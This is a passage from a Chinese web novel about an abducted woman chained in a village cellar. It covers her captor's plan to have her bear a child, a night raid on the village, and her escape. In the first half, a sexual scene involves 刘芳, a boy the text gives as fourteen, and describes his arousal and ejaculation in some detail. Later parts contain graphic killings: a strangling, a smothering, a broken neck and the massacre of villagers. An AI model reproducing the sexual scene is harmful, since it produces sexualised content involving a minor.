不多时陈姐自顾自止了抽泣,转而握住棠柳月的手,神色乞求:“好孩子,阿权已经这样,我也没办法让你和他那个。但是过些时候我托人买个儿子回来,做你和阿权的孩子。到时候咱娘俩一起养孩子,等孩子大了,我就放你走。”
……
棠柳月柔柔一笑,抽出手给陈姐捋了捋鬓边的碎发,随后在陈姐掌心写起了字。
【陈姐,外面的孩子不好说,还是自家孩子安心。】
陈姐重重叹了一口气,“我知道啊,但是阿权这样,猴年马月才能有自己的孩子。”
【那刘家没有其他男人了吗?跟他们借个种,孩子我来生。】
这次,轮到陈姐愣住。她愣愣看着棠柳月,好一会才把眼前说愿意生孩子的她,跟早先死活不肯就范的她,联系起来。
“你当真愿意?!”
棠柳月点点头,继续划动手指:【与其养一个别人家的孩子,不如从我肚子里出去,大家都安心】
陈姐这会是真的喜极而泣,搂着棠柳月连声喊着“好孩子”。
棠柳月应付地笑了笑,又赶紧写道:【我怕疼,陈姐找一个小的吧,最好年纪也别太大,干净没病,我来调教就好。】
“都依你,都依你……”
陈姐搂着棠柳月,像是找到了生命的支撑,转头真的去盘算家族里适龄的男孩子。
最后,还真给她盘算到一个,刘权的堂弟,刚刚十四,才考上秀才的刘芳。
刘芳来的那一天,陈姐破天荒的给棠柳月取下铁链,抱起刘权,跟另外几个村民做贼似的守在门口,透过门缝偷看二人。
刘芳生得白净高瘦,脸上稚气未脱,完全就是青涩幼子。此刻站在屋子里,面对只穿了薄薄单衣的棠柳月,满脸烧红,恨不得整个人埋进地里。
他其实很早前就知道陈姐捡了个女人回来,他本就鄙夷此等有辱斯文的行为,所以一直避之不及。
直到这一次陈姐找上家门,好一阵软磨硬泡,他才勉强同意。但一看见棠柳月,他便后悔了。
这个女人如此可怜,为什么自己还要来此一遭,让她更可怜呢?而这层怜惜之下,却还有一丝丝对今夜的兴奋,他将其归为男人的本性。
是她生得美丽,才挑动了他的本性。
相比于刘芳的紧张,陈姐的期待,棠柳月就显得随性很多,因为今夜并不是动手的好时机。
不过做戏,总归是要做全套的。
棠柳月曲了曲腿,又拍拍床铺,示意刘芳坐上来。
刘芳踌躇半天,才磨磨唧唧地在棠柳月身边坐下。而他一坐下,棠柳月就抬手熄灭床头烛火,扯开被子将二人完全遮住。
光亮骤灭,刘芳眼前陷入一片漆黑。只有猛然扑来的馨香,和耳边的热气,在提醒他,自己身上趴了衣着单薄的女人。
是个身量纤纤的女人。
发现身下的男人,手上不老实,棠柳月便知道刘芳是个什么货色。
她随即单手擒住刘芳的两只手腕,举过他的头顶,另一只手撑起自己的身体,让二人不至于如此暧昧。
棠柳月轻咳了咳,尝试发声。
“外面……几月?”
一把嗓子,宛如破木头锯风箱,每个音都带着毛刺,将断未断,要破不破,生生让刘芳的热血凉了三分。
“再过三日便是中秋。”刘芳轻声回答。
暗夜里棠柳月闻言,嘴角微微泛起苦笑,原来自己已经被关在这里这么久了。
“你们,人多
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?”
“嗯,这个村子里人挺多的,大家都很和善,谁家出事都会帮。”
棠柳月在心里翻了个白眼,“和善”地帮忙包庇是吧?
不过这也侧面说明,这里的人大概率不会帮自己逃出去,甚至还会帮着陈姐抓自己。
刘芳忍得很难受,难耐地动了动身子,呼吸都粗重了几分:“你要怎么弄?我好难受。”
棠柳月暗自冷笑,却又俯身贴近刘芳,用那把破锣嗓子说道:“下次……就我们,他们……走。”
刘芳年轻气盛,哪怕棠柳月的声音再扰情致,也终究抵不过她本人的活色生香。所以贴近时,他还是忍不住流连地蹭着她的侧脸,胡乱应承。
以至于当棠柳月松开手的一刹,刘芳便翻身覆了上来,动静大得让外面偷窥的人,都激动不已。
但接下来,却是长久的沉默。
刘芳没想到自己,居然出师未捷身先死,被棠柳月摸了几下便全都交代出去。
棠柳月将满手的湿黏擦到刘芳身上,安慰地抱了抱他,“病……得治。”
“不是的、不是的、”刘芳紧紧抱着棠柳月,急的要哭出来,拼命压低想要辩解的声音:“平日不是这样的!你信我!”
“嗯……治了……再来。”
棠柳月自然是相信刘芳的,因为只有冤枉别人的人,才知道那人有多冤枉。
虽然武功还没恢复,但习武多年,棠柳月还是很清楚人的周身穴位,以及敏感之处。所以手上只需稍稍用力,便可让刘芳这样未经人事的,尽数交代。
被狠狠挫伤脸面的刘芳不信邪,又试了两次,可每次都很快。
一番折腾下来,棠柳月连衣服都没被撩开,而刘芳却已经虚的趴在她的身上,手脚酸软。
或许,真的是病了。
一夜无果,陈姐自然不甘心,若不是念着家族里只有这一个男丁考上秀才,她还不愿意拉下脸巴巴求上去,要他的种呢。
面上安慰地送走失魂落魄的刘芳,陈姐还嘱咐他好好吃药,转身关上门却连番咒骂他的祖上八辈。
棠柳月伏在陈姐怀里,似受了很大的惊吓,身子一阵阵发抖。
陈姐还在不断咒骂着,完全没有察觉棠柳月惊恐之下,那双冷静的眼。
经过刘芳这一遭,陈姐对棠柳月越来越放心,虽然还是不允许她出地窖,但完全把她当成了自己的儿媳,张口闭口都以婆婆自居。每日都是好吃好喝待着,心情好了还会把她拉出来陪陪刘权,唠唠家常。
棠柳月并不是很擅长应对这样的热情,但为了套话,她也经常应和着,很快便套出了附近的屋舍和大致地形。
而在这其中,却发生了一个让棠柳月很是无语的小插曲。
那就是不仅陈姐自视其为她的婆婆,刘芳更是自视其为她的亲近之人。
三天两头跑来看她,支吾半天却只憋出一句“好好吃饭”,很是打乱棠柳月的阵脚。
更让棠柳月震撼的是,刘芳居然提出只要她生下孩子,他可以做小,跟刘权共侍一女,为刘权和陈姐养老送终。
每每此时,棠柳月总在心中冷笑,这小子真是天真得令人生厌。
他以为这样的情谊很令人感动吗?这样的举止很是深情吗?
家底单薄,品行不端,功名渺茫,还要借着被抢来的她的名义,白得一个媳妇,再与她生儿育女。
或许刘芳全了包括他在内所有人的心思,但唯独没有棠柳月。
因为这对她来说,或者对所有被强占的人来说,只是从一个深渊,走向另一个深渊。
32.逃离(3)
深夜里,一阵渺远但很是刺耳的哭嚎声响起,惊醒了在地窖熟睡的棠柳月。
哭声里有男有女,齐齐放声大哭,夹杂着沉重的绝望。四下一片漆黑,这种声音让棠柳月心头突突直跳。
很快,头上的地窖盖子发出声响,被急急打开。
开盖的是刘芳,他的身侧还蹲着举蜡烛的陈姐。橘黄色的烛火下,二人的脸色却罕见地苍白,神情慌乱。
刘芳掀开盖子后便迅速下到地窖,不由分说地背起棠柳月,来到地面。
上来之后,棠柳月才发现二人真的很着急,连门都来不及锁上,也让她第一次见到外面的世界。
只是从里往外望去,哭声更加真切,光景更是惨烈。
连排的房屋燃起大火,火光冲天蔓延十数米,尘烟喧嚣中数位百姓伏地痛哭,有一些直接起身投入火海。
人群的后方是手持火把的一排军士,为首的人骑在马上。他们似沉默的泥雕,无一人上前。但却会在有人哀嚎着扑向他们时,手起刀落,血溅当场。
遥遥一眼,便已让棠柳月心下骇然,是朝廷的人吗?但为何这般决绝狠辣?
但容不得她挣扎多想,刘芳就用麻绳把她捆好,扔进麻袋里。
扎口的时候,陈姐紧紧抓住刘芳的小臂,眼睛却死死盯着外面,愈加惊慌:“好孩子!你走小路把这个灾星带到后山沟里勒死,后山偏僻他们不会知道的!弄完就赶紧回来!”
刘芳也是害怕,胸口一阵一阵起伏着:“咱们不能把她还回去吗?”
“没用的!”陈姐压低着声音,从紧咬的牙关里一字一句蹦着话语:“他们找不到人都要烧杀抢掠,若是找到了我们哪还有活路!”
“快走快走!”陈姐帮着刘芳驼起麻袋,“这个女人就是死也不能死在我们这!到时候他们找过来,我们还可以借口帮他们找找,总归比藏着这个女人好啊!”
危急时刻,刘芳来不及思考陈姐的逻辑是否正确。也因此,他略过了陈姐眼里鱼死网破的恨意。
这帮夜袭村庄的人,其实前几天就已经扫荡过村子,而且明显跟之前到村子里搜寻的人不一样。
目露凶光,行事不善。
陈姐是第一个感知到的,但她没有阻拦。相反在应证自己的猜测没错后,陈姐甚至与他们做起了交易。而今夜的杀戮便是开始,她只知道她恨的人,她杀不了的人,欺负过她的人,都会在今夜成为这帮匪徒的刀下亡魂,想想就让她痛快。
至于筹码……
拉上他们一直想找的人当垫背,去到下面继续给她儿子做媳妇。
无谓生死,她这一生都被人欺骗,临了当然要骗别人一大把的。
看着刘芳慌里慌张地背上棠柳月摸黑出门,陈姐佯装的紧张一扫而空。她扶门而立,见刘芳彻底消失在视野后,才转身走回床边,慈爱地注视着刘权。
宛如对待刚出生的婴孩,陈姐俯身弯腰,珍视而小心地哄拍着,哪怕刘权从来不曾给她回应。
“阿权一直都是好孩子,娘亲都知道,”陈姐亲了亲刘权的头,动作轻柔地将薄被覆在他呼吸的小孔上,“所以这次阿权先走,等娘亲忙完,就下去找你。”
薄被渐渐贴紧,有人终于解脱了。
腾空颠簸的感觉并不好受,刘芳走得急,棠柳月也被颠得急。
方才在屋里,二人说的又急又快,声音也不大,所以麻袋里的棠柳月听得不甚真切,只大概抓取到“山沟”“杀人”“活路”这几个字眼。
莫非是山匪夜袭村寨?!
棠柳月悚然一惊,这是什么屋漏偏逢连夜雨!落入这样的村子都还没逃掉,要是再落入山匪的手中,那自己此生怕是再也无望出来。
不行,不行!棠柳月手脚并用,拼命蹬着麻袋,有好几次她都感觉自己要从刘芳的背上滑落,但很快又被他抓回来。
不知道走了多远,直到再也感受不到火光和哭声,一片死寂里,棠柳月被重重摔在地上。
似乎是害怕不够隐蔽,刘芳扔下麻袋后,又拖行着往山沟深处走了好一段路。
山沟里遍布杂草碎石,待到刘芳把麻袋拖行到一块巨石后面停下时,回头接着稀微月光看去,身后是一条长长的血痕。
刘芳大惊,赶紧打开麻袋,只见棠柳月早已痛得神志不清,面色煞白,四肢上没一处好地,血迹斑斑。
“你!你还好吗?!”
刘芳几乎要哭出来,他扶起棠柳月,挨着土坡坐下。也顾不得陈姐嘱咐的“杀了就赶紧回来”,颤抖着给她解了绑,还脱下自己的外衣,给棠柳月盖上。
又捡了好几丛蓬松杂草和枯木野枝,简易地搭起来做了个遮挡,将棠柳月护在其中。
情势紧急,刘芳能做的也只有这些。
他抬手轻轻捧住棠柳月的脸庞,爱怜地凝视着,凝视这个与他发生肌肤之亲的女人。自那夜以后,他早就把她视作了自己的妻子。
那句做小的承诺,也不是空话。
后面刘芳又自己想了想,其实也不用生下孩子,只要她愿意他陪在身边就行。原以为还有许多时日可以相伴,他可以慢慢来,直到让她眼里明晃晃的厌恶彻底消失。
却不想今夜一别,以后怕是无缘再见。
远处的火光已经照亮了半边天,很像几个月前的那个雨夜。
“我真的好想……”刘芳嘴唇嗫嚅着,闭眼与棠柳月额头相抵,竟也有几滴泪水落下,剖白着他的一片深情:“好想陪你走——”
沉浸在分别痛苦里的刘芳,没有察觉身后的丛林深处,有几双幽深碧绿的眼睛。自然也没察觉到,原本随手扔在一旁的麻绳,已经绕到他的颈后。
“呃!”
一声短粗的惊呼响起,麻绳套住刘芳的脖颈,将其死死勒住。而后一个猛力拉拽,他便向后倒去。落地后又被人踹翻,用膝盖抵住肩胛骨,整个人趴在地上不得起身。
脖子上麻绳越勒越紧,刘芳脸贴着地,眼珠暴突,眼底血红一片,透着无尽的恐慌。原本瘦削的脸庞很快便肿胀青紫,密密麻麻的血点自两颊生出。双腿出于本能剧烈地抖动踢蹬,很快下肢失禁,淋漓一片。
呼出的气息越来越弱,挣扎也趋于平静。
最后一刻,刘芳瞪着双眼,看向丛林深处对他垂涎欲滴的几匹恶狼,死不瞑目。
他是愤怒的,这个女人居然有力气?这个女人居然敢杀他?她把自己杀了又能去哪呢?
这个女人——
溢处的鲜血模糊了刘权的感官,他才发现,自己从未问过棠柳月姓氏名谁。
待身下的人归于死寂,棠柳月还不敢松手,直到拿起石块又朝着刘芳的太阳穴,狠狠砸了三次,见全无反应后,才陡然泄气般松开手,喘着大气瘫坐在地上。
真是好险,她本就因疼痛而神志不清,稍稍清醒后,不仅被厌恶的刘芳贴近着,更是发现不远处恶狼环伺。
棠柳月没有丝毫犹豫,很快便做出选择。
远处的狼群本就循着血腥味而来,此刻早已忍耐不住,试探着想要上前。
扶着土坡站起身,棠柳月用麻绳捆好刘芳的尸身,然后弯腰蓄力,往远处狠狠一甩,坠入深沟。
狼群不疑有他,纷纷追随而去。
眼前的危机暂时解除,棠柳月沿着身后自己特意留下的血痕,咬牙忍着痛快步离去。
可越是往回走,哭喊声就越发清晰,燃起的熊熊大火像一把赤刃,破开这深沉如墨的夜色。
棠柳月裹紧自己身上薄薄的单衣,又用泥巴糊满头脸和全身,走一段路便躲到一旁观望一阵,确保无碍再继续行进。
就这样断断续续,居然真让她走回了囚禁自己的小屋旁。
不过此时屋内漆黑一片,门户大开,借着微弱的月光可以看到里面桌椅翻倒,物件散乱,就连地窖也被人打开。
躲在斑驳的墙角下,棠柳月的心提到了嗓子眼。
放眼望去,夜袭的军士兵分几路,手持火把和刀具,不停地进出搜寻着每一间房屋。而里面的村民则被统统赶出,被迫四散流窜。更绝望的是,这些军士对于已经搜寻完的房屋,不由分说统统烧掉。若有人阻拦,则就地斩杀。
这哪像是朝廷派出的人,活像谋财害命的山野匪徒。
棠柳月不敢去赌这群人的目的是什么,也不愿再想下去。只得愈加小心,按着前些日子从陈姐那里了解到的大致地形,往外逃去。
可走着走着,棠柳月便发觉这个村子的岔路口是真的多,而且各处路口看上去几乎没有区别。如果不是本地人,对这里知根知底。换做第一次来这里的人,怕是走上几遍还以为碰上了鬼打墙。
又是一个岔路口,棠柳月蹲在树影里,无助地看着眼前两条幽深漆黑,通往未知的乡野路子,心乱如麻。
此前她跟陈姐套话,不敢说的太明显,所以只知道从小屋出来大概拐几下是村口的方向,但再往后就不知道。
如果继续毫无章法地跑下去,那就是跑到天亮都跑不出去。重重叹了一口气,棠柳月皱眉低下头,在心里一遍遍告诫自己不能急。捡起拇指大的碎石子,她伸手泥土地上轻轻划动,画着刚刚从小屋过来的路线。
左右左左……
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画了擦,擦了画,接连几遍,每每都会败北在第五个岔路口,也就是现在眼前的这个地方。
“到底,要往那边走呢?”
棠柳月停下划动,手指犹豫不前,下一笔不知是该往右还是往左。眼神落在细细的线条上,焦灼万分。夜风吹过,树影婆娑,发出令人不安的响动,此时天地间陷入彻底的黑暗。
棠柳月知道此时已是暗夜的尾声,再过不久天边就会开始泛白。那些人也会找到这里,届时她将避无可避。
难道,真的会死在这里,还是要回去找那些人?
但就在此时,她的脑中突然闪过一丝精光,紧接着那份猜想所带来的血液翻涌,令她头皮发麻。捏住手中的碎石子,她重新动手,大气都不敢喘,按着记忆中的模样,补全了这条曲曲折折的路线。
此刻手下的这条线,线上的每个转折,她都见过不止一次。
因为,这便是刘权之前,曾经重复画在纸张上的那条线。
捡起地上的细枝条,棠柳月用它将散落的头发重新挽紧,然后扶着粗壮的树干小心翼翼地站起来,准备按着这条记忆里的路线逃离。
但其实,从未有人告诉过她这到底是不是出村的路线。甚至,它算不算是一条路线都难说。
只是棠柳月现下别无选择,与其苦等,还不如再搏一把。
膝盖上依然旧伤未愈,身上的各处挫伤都在疾行的过程中,叫嚣着泛起不同程度的疼痛。棠柳月每走一段路,便要弯腰手撑在大腿上,喘息片刻。
很快,远处的天空泛起鱼肚白,摸黑奔走了许久的前路,也渐渐显露出它的真容。山野鸟鸣,薄雾弥漫,融满水汽的空气湿润粘黏,顺着鼻腔进入身体后,无端端让脚步都沉重了起来。
奔逃半夜,此刻棠柳月已是疲乏至极,只能靠心头吊着的那口气,不让自己停下来。
不过就算身体疲乏,但思绪还算清醒,身后紧跟不断的脚步声被她尽受耳底。心中警铃大作,却不敢回头,到底是谁,在这种时候还不愿放过她?!
身后跟跑的人速度也并不快,而且从喘息声辨别来看,是一个女人。
“求你……带我走,我想回家……”
女人断断续续的声音响起,在静谧的树林里格外清晰。而这句话刚说完,她便扑倒在地,砸出沉闷的声响。
没有出声大喊,女人只是嘶嘶着倒吸凉气,应该摔得不轻。挣扎起身无果后,她转而手脚并用,缓缓地爬到棠柳月脚边,拽住眼前人褴褛的衣角。
棠柳月定定站着,背对女人。明知此刻最不该做的就是停下,但或许是听见她凄然的诉求,也或许是出于某种心疼,最后还是选择停下。
转身弯腰,拖拽起与自己一般狼狈的女人。棠柳月无意看清女人的容貌,只想带上她赶紧离开。
但女人此刻却如足下生钉,只紧紧抓住棠柳月的手臂,然后卯足气力飞速朝身后大喊了一声——“她在这里!”
……
棠柳月有一瞬间的气极反笑,但也在下一瞬扭断了她的脖子。抬眼看去,远处的火把和人群正快速向自己这边的方向移动。
提起了无生气的躯体,棠柳月把女人甩到另一侧的斜坡上,滚落草丛时发出的动静果然吸引了一部分贼人的注意。人群分出一部分,追寻躯体掉落的方向。
棠柳月不再犹豫,转身拔腿就跑。
身后传来箭矢穿破空气的声音,紧跟着扎在她奔逃过的路上。棠柳月身形不断闪避,却也有几支弓箭擦过她的侧脸。
天色愈发明亮,但棠柳月的眼前却一再灰暗下去。她可以清晰地感知到身后的人马越来越近,也清楚知道自己的身体撑不下去了,她甚至可以听到身上伤口渐次裂开的声音。
清晨的空气沁心透凉,刮过喉头的灼热疼痛,逼出丝丝血腥气味。整个胸腔起伏巨大,每一次呼吸都竭尽全力。两条腿已经麻木得感知不到任何存在,只有耳边略过的风,让她自己自己还在奔跑。
终于来到最后一个岔路口,棠柳月用那双模糊的眼,依稀看到尽头投射进来的白光。
就快要逃出去了。
咻!
飞羽箭的声音由远及近,深深刺入棠柳月背部,嵌在脊骨和血肉之中。毫无防备地承接下这股蛮力,整个人挺胸往前一扑,口中喷出血雾。
原本沉重的身子在此刻突然变得很轻,像一朵云,五感很渺远,随时都要消失。
但有一只手,托住了这朵云。
那人乘马而来,飞奔至棠柳月身侧扯住缰绳,捞起即将坠地的她。
终于,找到了。